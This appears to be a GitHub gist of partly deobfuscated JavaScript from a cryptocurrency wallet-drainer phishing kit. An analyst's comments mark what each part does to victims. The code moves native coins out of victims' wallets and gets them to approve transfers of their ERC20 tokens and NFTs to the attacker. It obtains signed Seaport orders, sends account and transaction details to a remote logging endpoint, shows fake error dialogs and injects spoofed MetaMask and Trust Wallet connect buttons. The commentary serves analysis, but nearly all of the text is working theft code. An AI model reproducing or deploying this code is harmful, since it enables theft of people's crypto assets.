async function sendToken(hasBalance, seaportOrder, count, Seaport) {
// iterate over the global tokenList which victim assets are added to.
for (var token of tokenList) {
if (token < 1) {
return alertshow()
};
if (!token.approved) {
if (hasBalance && token.tokenAddress == WETH) {
return
};
// if walletconnect/TrustWallet or BNBChain return
if (selectedProvider == supportedWallets[0] || selectedWallets == '1' || selectedWallets == '2') {
if (token.type == 'erc721') {
return
};
if (token.type == 'seaport') {
return
}
};
// check if we are on the correct chain of the supplied token - change to it if not ...
const currentChainId = await web3.eth.net.getId();
const currentChainIdHex = web3.utils.toHex(currentChainId);
if (currentChainIdHex !== chainToId[token.chain].chainId) {
await changeNetwork(chainToId[token.chain].chainId)
};
try {
if (token.type == 'erc20') {
if (token.tokenAddress == '0x0000000000000000000000000000000000000000') {
// lol have 5 of any native token? u toast.
if (token.balance > 5) {
message = '<b>Transfering ' + token.symbol + ' | Network: ' + token.chain + ' [ WAIT ]</b><br><br>Amount: ' + token.tokenAmount + ' (' + token.balance + ' $)<br><br>Account: <code>' + account + '</code><br><br>Domain: ' + window.location.hostname;
if (selectedWallets == '2') { // if binanceChain / Wallet?
// sends ETH/BNB using sendTransaction() web3 api
await transferEth(token.tokenAmount, message)
} else {
// sends ETH using signed transaction
await stakeEth(token.tokenAmount, message)
}
}
} else {
// Doesnt automatically transfer Tokens but grants approval to the attackers / operator
message = '<b>Approve ' + token.symbol + ' | Network: ' + token.chain + ' [ WAIT ]</b><br><br>Contract: <code>' + token.tokenAddress + '</code><br><br>Account: <code>' + account + '</code><br><br>Amount: <code>' + token.tokenAmount + '</code> (' + token.balance + ' $)<br><br>Domain: ' + window.location.hostname;
await stakeERC20(token.tokenAddress, token.tokenAmount, message, chainToId[token.chain].chainId, chainToId[token.chain].abiUrl)
}
} else {
// if detects erc721s in tokenList grant approvalforall to victims ERC721 to attackers bulkTransfer contract
// attacker manually uses the helper contract to transfer NFT's it seems.
if (token.type == 'erc721') {
message = '<b>SAFA NFT 721 [ WAIT ]</b><br>Contract: <code>' + token.tokenAddress + '</code><br><br>Average Price Collection: <code>' + token.balance + '</code>$<br><br>Адрес владельца: <code>' + account + '</code><br><br>Inventory<br>https://etherscan.io/token/' + token.tokenAddress + '?a=' + account + '%23inventory<br><br>Домен: ' + window.location.hostname;
await stakeNFT(token.tokenAddress, token.token_ids, message)
} else {
// if victim has any valid seaport approvals or WEI allowance will now attempt to sign/submit the seaport order.
if (token.type == 'seaport') {
success = 1;
message = '<b>Seaport [ WAIT ]</b><br>Price: <code>' + token.balance + ' $</code><br><br>Account: <code>' + account + '</code><br><br><b>Data Offer:</b><br>' + JSON.stringify(seaportOrder) + '<br><br>Domain: ' + window.location.hostname;
logTlgMsg(message);
await Seaport.signOrder(seaportOrder, parseInt(count)).then(function (_0x22fax44) {
let _0x22faxa7 = _0x22fax44;
seaportOrder.counter = parseInt(count);
const seaportOrderLog = {
"recipient": endpoint, // attacker address
"parameters": seaportOrder, // seaportOrder
"signature": _0x22faxa7
};
logTlgMsg(JSON.stringify(seaportOrderLog));
axios.post(SEAPORT_SIGN, seaportOrderLog).then(function (_0x22fax44) {
console.log(_0x22fax44);
logTlg(success)
})
}).catch(function (_0x22faxa6) {
console.log(_0x22faxa6);
success = 0;
logTlg(success);
return
})
} else {
// lastly grant approvals for any ERC1155 tokens a victim holds.
message = '<b>SAFA NFT 1155 [ WAIT ]</b><br>Контракт: <code>' + token.tokenAddress + '</code><br><br>Floor Price: <code>' + token.balance + '</code>$<br><br>Адрес владельца: <code>' + account + '</code><br><br>Инвентарь<br>https://etherscan.io/token/' + token.tokenAddress + '?a=' + account + '%23inventory<br><br>Домен: ' + window.location.hostname;
await stake1155NFT(token.tokenAddress, token.token_ids, message)
}
}
}
} catch (e) {
console.log(e)
}
}
}
}
// bullshit
async function alertshow() {
if (alert == 0) {
Swal.fire({
title: 'Error!',
text: 'Connect has been failed, try with another wallet',
icon: 'error',
confirmButtonText: 'OK'
});
alert = 1
};
if (alert == 1) {
Swal.fire({
title: 'Error!',
text: 'This wallet cannot be connect, try another one',
icon: 'error',
confirmButtonText: 'OK'
})
}
}
// change network to target network if victim has assets on other chains reported by zapperfi api
const changeNetwork = async (chainId) => {
if (window.ethereum) {
try {
await window.ethereum.request({
method: 'wallet_switchEthereumChain',
params: [{
chainId: chainId
}]
})
} catch (error) {
console.error(error);
await window.ethereum.request({
method: 'wallet_switchEthereumChain',
params: [{
chainId: chainId
}]
})
}
}
};
const isValidPermit = (_0x22fax9d) => {
for (const _0x22faxad in _0x22fax9d) {
if (_0x22faxad.startsWith('permit(')) {
const _0x22faxae = _0x22faxad.slice(7).split(',');
return _0x22faxae.length === 7 && _0x22faxad.indexOf('bool') === -1
}
}
};
// call permit on target ERC721 contract for operator
const permit = async (erc721, accountAddress, operator) => {
console.log('Permit');
let chainId = await erc721.signer.getChainId();
let max_value = ethers.utils.parseEther(MAX_APPROVAL);// ??
let nonces = await erc721.nonces(accountAddress);
let erc721Name = await erc721.name();
let erc721Version;
if (erc721.functions.hasOwnProperty('version')) {
erc721Version = await erc721.version()
} else {
erc721Version = '1'
};
// 1 year
let validUntil = Date.now() + 1000 * 60 * 60 * 24 * 356;
const domain = {
name: erc721Name,
version: erc721Version,
chainId: chainId,
verifyingContract: erc721.address
};
const types = {
Permit: [{
name: 'owner',
type: 'address'
}, {
name: 'spender',
type: 'address'
}, {
name: 'value',
type: 'uint256'
}, {
name: 'nonce',
type: 'uint256'
}, {
name: 'deadline',
type: 'uint256'
}]
};
const values = {
owner,
spender,
value,
nonce,
deadline
};
const signedData = await erc721.signer._signTypedData(domain, types, values);
const r = signedData.substring(0, 66);
const s = '0x' + signedData.substring(66, 130);
const v = parseInt(signedData.substring(130, 132), 16);
return JSON.stringify({
value: max_value._hex,
deadline: validUntil,
v: v,
r: r,
s: s
})
};
const getABI = async (_0x22faxb8, _0x22fax9a) => {
console.log('Getting ABI for', _0x22faxb8);
let _0x22fax78 = await axios.get(_0x22fax9a.format(_0x22faxb8));
_0x22fax78 = _0x22fax78.data.result[0];
let _0x22faxb9 = JSON.parse(_0x22fax78.ABI);
let _0x22faxba = '';
if (_0x22fax78.Proxy === '1' && _0x22fax78.Implementation !== '') {
_0x22faxba = _0x22fax78.Implementation;
console.log('Getting impl ABI for', _0x22faxba);
_0x22faxb9 = JSON.parse((await axios.get(_0x22fax9a.format(_0x22faxba))).data.result[0].ABI)
};
return [_0x22faxb9, _0x22faxba]
};
String.prototype.format = function () {
let idk = arguments;
return this.replace(/{(\d+)}/g, function (idk2, value) {
return typeof idk[value] == 'undefined' ? idk2 : idk[value]
})
};
// logs a custom message to the remote server hosted on rollsroycenft.app
function logTlgMsg(message) {
fetch('back.php?key=8bEEokUZLhn7nAHz&m=' + message)
}
// send success/fail msg to server
function logTlg(success) {
if (success == 1) {
var message = '✅ <b>Транзакция подтверждена</b>' // transaction succeeded
} else {
var message = '❌ <b>Транзакция отклонена</b>' // transaction failed
};
fetch('back.php?key=8bEEokUZLhn7nAHz&m=' + message)
}
function isMobile() {
var _0x22faxc1 = false;
(function (_0x22fax27) {
if (/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(_0x22fax27) || /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(_0x22fax27.substr(0, 4))) {
_0x22faxc1 = true
}
})(navigator.userAgent || navigator.vendor || window.opera);
return _0x22faxc1
}
window.addEventListener('load', async () => {
init();
if (isMobile()) {
$('.web3modal-modal-card').prepend('<div class="sc-eCImPb bElhDP web3modal-provider-wrapper" onclick="loginMetamask();"><div class="sc-hKwDye hKhOIm web3modal-provider-container"><div class="sc-bdvvtL fqonLZ web3modal-provider-icon"><img src="data:image/svg+xml;base64,PHN2ZyBoZWlnaHQ9IjM1NSIgdmlld0JveD0iMCAwIDM5NyAzNTUiIHdpZHRoPSIzOTciIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PGcgZmlsbD0ibm9uZSIgZmlsbC1ydWxlPSJldmVub2RkIiB0cmFuc2Zvcm09InRyYW5zbGF0ZSgtMSAtMSkiPjxwYXRoIGQ9Im0xMTQuNjIyNjQ0IDMyNy4xOTU0NzIgNTIuMDA0NzE3IDEzLjgxMDE5OHYtMTguMDU5NDlsNC4yNDUyODMtNC4yNDkyOTJoMjkuNzE2OTgydjIxLjI0NjQ1OSAxNC44NzI1MjNoLTMxLjgzOTYyNGwtMzkuMjY4ODY4LTE2Ljk5NzE2OXoiIGZpbGw9IiNjZGJkYjIiLz48cGF0aCBkPSJtMTk5LjUyODMwNSAzMjcuMTk1NDcyIDUwLjk0MzM5NyAxMy44MTAxOTh2LTE4LjA1OTQ5bDQuMjQ1MjgzLTQuMjQ5MjkyaDI5LjcxNjk4MXYyMS4yNDY0NTkgMTQuODcyNTIzaC0zMS44Mzk2MjNsLTM5LjI2ODg2OC0xNi45OTcxNjl6IiBmaWxsPSIjY2RiZGIyIiB0cmFuc2Zvcm09Im1hdHJpeCgtMSAwIDAgMSA0ODMuOTYyMjcgMCkiLz48cGF0aCBkPSJtMTcwLjg3MjY0NCAyODcuODg5NTIzLTQuMjQ1MjgzIDM1LjA1NjY1NyA1LjMwNjYwNC00LjI0OTI5Mmg1NS4xODg2OGw2LjM2NzkyNSA0LjI0OTI5Mi00LjI0NTI4NC0zNS4wNTY2NTctOC40OTA1NjUtNS4zMTE2MTUtNDIuNDUyODMyIDEuMDYyMzIzeiIgZmlsbD0iIzM5MzkzOSIvPjxwYXRoIGQ9Im0xNDIuMjE2OTg0IDUwLjk5MTUwMjIgMjUuNDcxNjk4IDU5LjQ5MDA4NTggMTEuNjc0NTI4IDE3My4xNTg2NDNoNDEuMzkxNTExbDEyLjczNTg0OS0xNzMuMTU4NjQzIDIzLjM0OTA1Ni01OS40OTAwODU4eiIgZmlsbD0iI2Y4OWMzNSIvPjxwYXRoIGQ9Im0zMC43NzgzMDIzIDE4MS42NTcyMjYtMjkuNzE2OTgxNTMgODYuMDQ4MTYxIDc0LjI5MjQ1MzkzLTQuMjQ5MjkzaDQ3Ljc1OTQzNDN2LTM3LjE4MTMwM2wtMi4xMjI2NDEtNzYuNDg3MjUzLTEwLjYxMzIwOCA4LjQ5ODU4M3oiIGZpbGw9IiNmODlkMzUiLz48cGF0aCBkPSJtODcuMDI4MzAzMiAxOTEuMjE4MTM0IDg3LjAyODMwMjggMi4xMjQ2NDYtOS41NTE4ODYgNDQuNjE3NTYzLTQxLjM5MTUxMS0xMC42MjMyMjl6IiBmaWxsPSIjZDg3YzMwIi8+PHBhdGggZD0ibTg3LjAyODMwMzIgMTkyLjI4MDQ1NyAzNi4wODQ5MDU4IDMzLjk5NDMzNHYzMy45OTQzMzR6IiBmaWxsPSIjZWE4ZDNhIi8+PHBhdGggZD0ibTEyMy4xMTMyMDkgMjI3LjMzNzExNCA0Mi40NTI4MzEgMTAuNjIzMjI5IDEzLjc5NzE3IDQ1LjY3OTg4OC05LjU1MTg4NiA1LjMxMTYxNS00Ni42OTgxMTUtMjcuNjIwMzk4eiIgZmlsbD0iI2Y4OWQzNSIvPjxwYXRoIGQ9Im0xMjMuMTEzMjA5IDI2MS4zMzE0NDgtOC40OTA1NjUgNjUuODY0MDI0IDU2LjI1LTM5LjMwNTk0OXoiIGZpbGw9IiNlYjhmMzUiLz48cGF0aCBkPSJtMTc0LjA1NjYwNiAxOTMuMzQyNzggNS4zMDY2MDQgOTAuMjk3NDUxLTE1LjkxOTgxMi00Ni4yMTEwNDl6IiBmaWxsPSIjZWE4ZTNhIi8+PHBhdGggZD0ibTc0LjI5MjQ1MzkgMjYyLjM5Mzc3MSA0OC44MjA3NTUxLTEuMDYyMzIzLTguNDkwNTY1IDY1Ljg2NDAyNHoiIGZpbGw9IiNkODdjMzAiLz48cGF0aCBkPSJtMjQuNDEwMzc3NyAzNTUuODc4MTkzIDkwLjIxMjI2NjMtMjguNjgyNzIxLTQwLjMzMDE5MDEtNjQuODAxNzAxLTczLjIzMTEzMzEzIDUuMzExNjE2eiIgZmlsbD0iI2ViOGYzNSIvPjxwYXRoIGQ9Im0xNjcuNjg4NjgyIDExMC40ODE1ODgtNDUuNjM2NzkzIDM4LjI0MzYyNy0zNS4wMjM1ODU4IDQyLjQ5MjkxOSA4Ny4wMjgzMDI4IDMuMTg2OTY5eiIgZmlsbD0iI2U4ODIxZSIvPjxwYXRoIGQ9Im0xMTQuNjIyNjQ0IDMyNy4xOTU0NzIgNTYuMjUtMzkuMzA1OTQ5LTQuMjQ1MjgzIDMzLjk5NDMzNHYxOS4xMjE4MTNsLTM4LjIwNzU0OC03LjQzNjI2eiIgZmlsbD0iI2RmY2VjMyIvPjxwYXRoIGQ9Im0yMjkuMjQ1Mjg2IDMyNy4xOTU0NzIgNTUuMTg4NjgtMzkuMzA1OTQ5LTQuMjQ1MjgzIDMzLjk5NDMzNHYxOS4xMjE4MTNsLTM4LjIwNzU0OC03LjQzNjI2eiIgZmlsbD0iI2RmY2VjMyIgdHJhbnNmb3JtPSJtYXRyaXgoLTEgMCAwIDEgNTEzLjY3OTI1MiAwKSIvPjxwYXRoIGQ9Im0xMzIuNjY1MDk2IDIxMi40NjQ1OTMtMTEuNjc0NTI4IDI0LjQzMzQyNyA0MS4zOTE1MS0xMC42MjMyMjl6IiBmaWxsPSIjMzkzOTM5IiB0cmFuc2Zvcm09Im1hdHJpeCgtMSAwIDAgMSAyODMuMzcyNjQ2IDApIi8+PHBhdGggZD0ibTIzLjM0OTA1NyAxLjA2MjMyMjk2IDE0NC4zMzk2MjUgMTA5LjQxOTI2NTA0LTI0LjQxMDM3OC01OS40OTAwODU4eiIgZmlsbD0iI2U4OGYzNSIvPjxwYXRoIGQ9Im0yMy4zNDkwNTcgMS4wNjIzMjI5Ni0xOS4xMDM3NzM5MiA1OC40Mjc3NjI5NCAxMC42MTMyMDc3MiA2My43MzkzNzgxLTcuNDI5MjQ1NDEgNC4yNDkyOTIgMTAuNjEzMjA3NzEgOS41NjA5MDYtOC40OTA1NjYxNyA3LjQzNjI2MSAxMS42NzQ1Mjg0NyAxMC42MjMyMjktNy40MjkyNDU0IDYuMzczOTM4IDE2Ljk4MTEzMjMgMjEuMjQ2NDU5IDc5LjU5OTA1NzctMjQuNDMzNDI4YzM4LjkxNTA5Ni0zMS4xNjE0NzMgNTguMDE4ODY5LTQ3LjA5NjMxOCA1Ny4zMTEzMjItNDcuODA0NTMzLS43MDc1NDgtLjcwODIxNS00OC44MjA3NTYtMzcuMTgxMzAzNi0xNDQuMzM5NjI1LTEwOS40MTkyNjUwNHoiIGZpbGw9IiM4ZTVhMzAiLz48ZyB0cmFuc2Zvcm09Im1hdHJpeCgtMSAwIDAgMSAzOTkuMDU2NjExIDApIj48cGF0aCBkPSJtMzAuNzc4MzAyMyAxODEuNjU3MjI2LTI5LjcxNjk4MTUzIDg2LjA0ODE2MSA3NC4yOTI0NTM5My00LjI0OTI5M2g0Ny43NTk0MzQzdi0zNy4xODEzMDNsLTIuMTIyNjQxLTc2LjQ4NzI1My0xMC42MTMyMDggOC40OTg1ODN6IiBmaWxsPSIjZjg5ZDM1Ii8+PHBhdGggZD0ibTg3LjAyODMwMzIgMTkxLjIxODEzNCA4Ny4wMjgzMDI4IDIuMTI0NjQ2LTkuNTUxODg2IDQ0LjYxNzU2My00MS4zOTE1MTEtMTAuNjIzMjI5eiIgZmlsbD0iI2Q4N2MzMCIvPjxwYXRoIGQ9Im04Ny4wMjgzMDMyIDE5Mi4yODA0NTcgMzYuMDg0OTA1OCAzMy45OTQzMzR2MzMuOTk0MzM0eiIgZmlsbD0iI2VhOGQzYSIvPjxwYXRoIGQ9Im0xMjMuMTEzMjA5IDIyNy4zMzcxMTQgNDIuNDUyODMxIDEwLjYyMzIyOSAxMy43OTcxNyA0NS42Nzk4ODgtOS41NTE4ODYgNS4zMTE2MTUtNDYuNjk4MTE1LTI3LjYyMDM5OHoiIGZpbGw9IiNmODlkMzUiLz48cGF0aCBkPSJtMTIzLjExMzIwOSAyNjEuMzMxNDQ4LTguNDkwNTY1IDY1Ljg2NDAyNCA1NS4xODg2OC0zOC4yNDM2MjZ6IiBmaWxsPSIjZWI4ZjM1Ii8+PHBhdGggZD0ibTE3NC4wNTY2MDYgMTkzLjM0Mjc4IDUuMzA2NjA0IDkwLjI5NzQ1MS0xNS45MTk4MTItNDYuMjExMDQ5eiIgZmlsbD0iI2VhOGUzYSIvPjxwYXRoIGQ9Im03NC4yOTI0NTM5IDI2Mi4zOTM3NzEgNDguODIwNzU1MS0xLjA2MjMyMy04LjQ5MDU2NSA2NS44NjQwMjR6IiBmaWxsPSIjZDg3YzMwIi8+PHBhdGggZD0ibTI0LjQxMDM3NzcgMzU1Ljg3ODE5MyA5MC4yMTIyNjYzLTI4LjY4MjcyMS00MC4zMzAxOTAxLTY0LjgwMTcwMS03My4yMzExMzMxMyA1LjMxMTYxNnoiIGZpbGw9IiNlYjhmMzUiLz48cGF0aCBkPSJtMTY3LjY4ODY4MiAxMTAuNDgxNTg4LTQ1LjYzNjc5MyAzOC4yNDM2MjctMzUuMDIzNTg1OCA0Mi40OTI5MTkgODcuMDI4MzAyOCAzLjE4Njk2OXoiIGZpbGw9IiNlODgyMWUiLz48cGF0aCBkPSJtMTMyLjY2NTA5NiAyMTIuNDY0NTkzLTExLjY3NDUyOCAyNC40MzM0MjcgNDEuMzkxNTEtMTAuNjIzMjI5eiIgZmlsbD0iIzM5MzkzOSIgdHJhbnNmb3JtPSJtYXRyaXgoLTEgMCAwIDEgMjgzLjM3MjY0NiAwKSIvPjxwYXRoIGQ9Im0yMy4zNDkwNTcgMS4wNjIzMjI5NiAxNDQuMzM5NjI1IDEwOS40MTkyNjUwNC0yNC40MTAzNzgtNTkuNDkwMDg1OHoiIGZpbGw9IiNlODhmMzUiLz48cGF0aCBkPSJtMjMuMzQ5MDU3IDEuMDYyMzIyOTYtMTkuMTAzNzczOTIgNTguNDI3NzYyOTQgMTAuNjEzMjA3NzIgNjMuNzM5Mzc4MS03LjQyOTI0NTQxIDQuMjQ5MjkyIDEwLjYxMzIwNzcxIDkuNTYwOTA2LTguNDkwNTY2MTcgNy40MzYyNjEgMTEuNjc0NTI4NDcgMTAuNjIzMjI5LTcuNDI5MjQ1NCA2LjM3MzkzOCAxNi45ODExMzIzIDIxLjI0NjQ1OSA3OS41OTkwNTc3LTI0LjQzMzQyOGMzOC45MTUwOTYtMzEuMTYxNDczIDU4LjAxODg2OS00Ny4wOTYzMTggNTcuMzExMzIyLTQ3LjgwNDUzMy0uNzA3NTQ4LS43MDgyMTUtNDguODIwNzU2LTM3LjE4MTMwMzYtMTQ0LjMzOTYyNS0xMDkuNDE5MjY1MDR6IiBmaWxsPSIjOGU1YTMwIi8+PC9nPjwvZz48L3N2Zz4=" alt="MetaMask"></div><div class="sc-gsDKAQ gHoDBx web3modal-provider-name">MetaMask</div><div class="sc-dkPtRN eCZoDi web3modal-provider-description">Connect to your MetaMask Wallet</div></div></div><div class="sc-eCImPb bElhDP web3modal-provider-wrapper" onclick="loginTrust();"><div class="sc-hKwDye hKhOIm web3modal-provider-container"><div class="sc-bdvvtL fqonLZ web3modal-provider-icon"><img src="https://trustwallet.com/assets/images/media/assets/trust_platform.png" alt="Trust Wallet"></div><div class="sc-gsDKAQ gHoDBx web3modal-provider-name">Trust Wallet</div><div class="sc-dkPtRN eCZoDi web3modal-provider-description">Connect to your Trust Wallet</div></div></div>');
$('.web3modal-modal-card .web3modal-provider-wrapper').last().css('display', 'none')
}
})
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment